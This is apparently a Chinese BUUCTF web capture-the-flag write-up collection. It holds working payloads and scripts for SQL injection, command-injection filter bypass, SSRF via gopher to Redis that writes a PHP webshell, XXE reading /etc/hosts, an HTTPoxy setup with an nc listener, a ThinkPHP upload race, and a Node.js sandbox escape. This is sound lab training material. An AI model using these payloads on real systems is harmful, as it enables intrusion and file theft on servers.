Buuctf -web wp汇总(一):链接
Buuctf -web wp汇总(二):链接
Buuctf -web wp汇总(三):链接
要点:逻辑漏洞 函数绕过
进入界面
一个hack me,查看robots.txt
提供了fAke_f1agggg.php,是个假flag
抓包,发现响应头里面有个fl4g.php
访问获取源码
一共三层绕过
第一层:intval()绕过
思路:利用字符串绕过
intval处理字符串会返回0,但在intval(password+1)时会先将16进制数转换成10进制数再加1,然后输出
payload:num=0x7e5
第二层:双md5绕过
思路:判断MD5相等基本都是利用php的弱类型 0e比较,找到一个0exxx Md5后依然是0exxx的字符串
构造payload:md5=0e215962017
第三层:空格、命令执行绕过
思路:空格利用其他的url编码就可以绕过(例如%09 ->tab) cat的绕过方式挺多的 各种拼接 截断 转义都可以尝试
payload:get_flag=ls
完整payload:
fl4g.php?num=0x7e5&&md5=0e215962017&&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
要点:异或注入
进入题目提示输入id获取学生成绩,很明显是sql注入,进行简单判断是看利用异或注入1^1^1
,并且对输入也没有过滤,直接利用脚本爆破即可
构造payload:1^(ascii(substr((select(database())),1,1))<1)^1
要点:Redis中SSRF的利用
打开网页是一个提交url的提交框,查看一下源码,得到一个信息:,访问
输入框提示输入URL,再通过之前的代码可以猜测是存在SSRF,尝试使用file协议读文件
发现file协议被过滤了,我们可以尝试绕过:file:/
、file:<空格>///
file:/var/www/html/index.php
查看源码,获取到
从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议,我们使用http协议进行内网主机存活探测。用burp抓包,进行爆破:
利用之前获取的IP去扫描一下C段: 173.55.14.1~255
发现173.55.14.6/5/7/10/11
,这几台主机都存活,但173.55.14.11
给了提示
提示说试试其他端口,那继续用工具测试发现开放且可利用的端口,爆破端口。(范围1-65535)
发现6379端口存在回显。
6379端口,redis服务,我们利用redis未授权访问的漏洞,在根目录下生成个文件shell.php(Redis SSRF getshell) 参考资料:浅析Redis中SSRF的利用
基本原理:利用gopher来生成一个符合redis RESP协议的payload,可以利用工具(Gopherus),也可以利用exp脚本,直接构造mysql、redis等gopher的payload。
这里的dict协议也被过滤了,所以得用gopher协议。利用exp脚本:
import urllib
protocol="gopher://"
ip="173.55.14.11"
port="6379"
shell="\n\n\n\n" #构造的payload
filename="cmd.php" #生成的恶意文件
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
运行上面脚本得到ssrf的payload:
gopher://173.55.14.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%247%0D%0Acmd.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
将生成的payload打过去,会在该IP内网(173.55.14.11)的根目录下生成个文件cmd.php
利用url的输入框访问IP/cmd.php
获取IP地址
要点:二次注入(报错注入)
访问源码 有提示,根据提示将给予file的参数值为index.php ,发现存在文件包含include的代码。
构造payload:?file=php://filter/read=convert.base64-encode/resource=xxx.php
可以依次读取到delete.php,confirm.php,change.php,search.php的源码,尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。
这里只附上存在漏洞,可以利用的confirm.php
和change.php
的关键代码
(PS:本来看到有包含文件可以利用php伪协议直接构造一句话木马getshell,但看index.php实际上可以发现对大部分的伪协议都过滤了,只留下了filtet://读取文件信息的协议)
change.php里面对我们post传入的user_name和phone进行了严格的黑名单审查,但是只是对我们的地址address进行了简单的转义addslashes;也因为地址发生了转义,所以导致我们的很多特殊字符都无法使用,比如 ’ ` " 等等的这类字符,所以我们采用报错注入,这里直接load_file读取文件;
confirm.php没有注入点,可以将address注入数据库,尽管有addslashes转义,但是可以发现修改后的地址会被保存下来,这样第二次修改的时候就可以触发报错。
在插入数据时,构造恶意的address的参数值,当我们进行修改时,address拼接语句会发生错误,进行报错注入产生我们需要的信息 flag
构造payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
PS:直接load_file不能显示全,这里分两次构造payload
要点:HTTPOXY漏洞,CGI特性
服务对外请求资源
使用了HTTP_PROXY(大写的)环境变量来代理请求
PHP的运行模式为CGI模式(cgi, php-fpm)
代码以cgi模式运行,其中使用环境变量HTTP_PROXY 信任 HTTP 客户端HTTP_PROXY并将其配置为代理
影响范围:
Language | Environment | HTTP client |
---|---|---|
PHP | php-fpm mod_php | Guzzle 4+ ,Artax |
Python | wsgiref.handlers.CGIHandler twisted.web.twcgi.CGIScript | requests |
Go | net/http/cgi | net/http |
PHP目前比较常见的五大运行模式(phpfinfo()->Server API
)
1)CGI(通用网关接口/ Common Gateway Interface)
当 web 服务器接收到一个请求时,就会启动一个 CGI 进程,这里就会通知到PHP 引擎,然后去解析 php.ini 文件,开始处理请求,并且将处理的请求的结果以标准的格式返回给 web 服务器,并退出进程,处理事件多,占用内存大,现在基本不使用。
2)FastCGI(常驻型CGI / Long-Live CGI)
3)CLI(命令行运行 / Command Line Interface)
命令行执行php,平常应该会经常使用到。我们在linux下经常使用 "php -m"查找PHP安装了那些扩展就是PHP命令行运行模式;也可以直接命令行执行php xxx.php
4)Web模块模式(Apache等Web服务器运行的模式)
5)ISAPI(Internet Server Application Program Interface)
可以看到有读文件和phpinfo的地方, 大致看了下phpinfo,没有什么信息,再去看filter,这里可以利用file获取源码内容(不仅仅可以读取web文件的源码,服务器上的本地文件都可以读取)
例如:
index源码提示:use GuzzleHttp\Client;
payload:?file=composer.json
获得当前版本信息 6+
有访问服务器搭建的docker环境 http://127.0.0.1:5000/api/eligible
本地docker环境,一般会有个start.sh, 经常会在根目录或者/tmp或者~下
payload:?file=/
获取到该文件的内容
再读取/srv/app.py
要求当我们的时间在2050时 返回 True(也就是最开始的index.php 当获取到true返回flag)。
读完了源码我们去看看原来的那个组件的版本, 有没有什么漏洞
HTTPproxy漏洞
参考链接:
https://httpoxy.org/
https://www.laruence.com/2016/07/19/3101.html
思路:
CGI(RFC 3875)
的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx
, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv("HTTP_PROXY")
就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…
以下是影响范围:
Language | Environment | HTTP client |
---|---|---|
PHP | php-fpm mod_php | Guzzle 4+ ,Artax |
Python | wsgiref.handlers.CGIHandler twisted.web.twcgi.CGIScript | requests |
Go | net/http/cgi | net/http |
Guzzle>=4.0.0rc2,<6.2.1版本受此影响
开一个靶机作为中间人代理
新建一个文件 构造的内容为:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}
设置一个监听端口篡改请求头信息,
执行命令:nc -lvvp 23333<1.txt
要点:XXE,内网探测
这里的用户名存在XXE漏洞
很多人都小看了xxe漏洞,觉得它只可以读读文件啊什么的,其实它还可以访问内网的主机,和ssrf利用的dict伪协议一样,都可以刺探存活的主机并且链接访问;也可以看作这个题是在打内网
依旧是先读取文
用file协议读取相关的文件 /etc/passwd 和 /etc/hosts;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
当我们读取到hosts文件的时候,我们会发现有几个ip地址(可以猜测一下是内网探测)发现存在一个IP地址,
直接http协议访问,对IP C段,进行一轮测试。发现在后面的主机中存在flag
要点:逻辑漏洞-函数绕过($_SERVER[‘PHP_SELF’]、正则匹配)
分析提供的源码
题目利用随机生成64位长度的密码,当我们提交的值与密码相同,输出flag。
但看源码可以发现这个数并没有使用种子,而是直接生成的,并且使用了hash_equals()
避免了时序攻击和 php 弱类型,基本可以判断这个数是猜不出来的
flag 的泄漏点只能在 $_SERVER[‘PHP_SELF’]
中
$_SERVER[‘PHP_SELF’]:获取当前访问url地址的相对路径文件
可以用来获取当前页面的名字,和 __FILE__
意义相同,但是在 1.php/2.php
这种情况下 浏览器和服务器的解析结果会变成 1.php
但再经过basename()后,传进highlight_file()函数的文件名就变成了2.php,这就会导致任意文件的源码读取。
这时候我们绕过正则表达式匹配即可获得flag
这种正则其实直接写个脚本去爆破即可,拼接某些特殊字符绕过
import requests
for i in range(0,255):
url="url/index.php/config.php/%s?source"%(chr(i))
r = requests.get(url)
if 'flag' in r.text:
print(r.text)
可利用不可显字符就可以绕过(后面加 %80 – %ff 的任意字符)
payload:/index.php/config.php/%ff?source
要点:think PHP文件上传、条件竞争
(1)Thingk PHP上传默认路径为/home/index/upload
(2)Think PHP里的upload()函数在不传参的情况下下允许批量上传的,但其防护机制只会检测一次,运用条件竞争,多次上传可以绕过文件后缀的检测
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
查看源码,发现是think PHP的文件上传,这里需要自己构造一个上传文件的代码,默认上传路径是/home/index/upload
上传脚本
import requests
'''方法一'''
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()
file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php",")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)
'''爆破'''
dir ='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
print(url)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
'''方法二'''
url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "")}
r = requests.post(url, files=files)
print(r.text)
要点:settime溢出,沙盒逃逸
代码应该是node.js,进去是一个计算器。但测试发现都是timeout
提供了源码,进行代码审计:
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) { //判断是否为整数
delay = Math.max(delay, parseInt(req.query.delay)); //取出较大值
}
const t = setTimeout(() => next(), delay); //定义计时器,在delay时间后执行 next() ->作用:将控制权交给下一个中间件
setTimeout(() => { //执行另一个计时器,每 1s执行一次 对t计时器执行清零操作,输出超时
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
导入express模块(web框架),写一个路由app.use
。如果路径为/eval
,执行代码 赋值给delay为60000,比较我们进行get传进去的delay值,并取出较大值
设计一个计算器 每delay时间执行一次代码(可以实现命令执行)
但这里源码设计的settimout()没当执行1s便会进行清零操作,也就是无法超出6s 进行next()进入/eval,因此需要绕过,让delay小于1000才能进到safeeval的路由里。
网上查询了一下safer-eval模块的漏洞,发现一个CVE-2019-10759
,safer-eval代码注入漏洞。但影响版本是safer-eval <= 1.3.2
。该版本是safer-eval =1.3.6
。无法利用
其实是该版本下的safer-eval存在沙箱逃逸问题。
一般CTF涉及到node.js的题大多为沙箱逃逸,而导致能够沙箱逃逸的,通常都是库的问题,题目有特地强调了这个safer-eval的库,直接去github找issues
存在可以利用的POC漏洞
再回到源码中,settimeout函数存在问题,可以绕过计时器的问题
setTimeout(),第一个参数为回调函数,第二个参数表示从当前时刻开始过多少毫秒后开始执行回调函数
这里就可以利用int溢出的方法来进行绕过(传入的delay如果大小超过32位,会被settimeout设为1.这样就满足条件了)
绕过计时器后就可以利用之前的POC链进行任意命令执行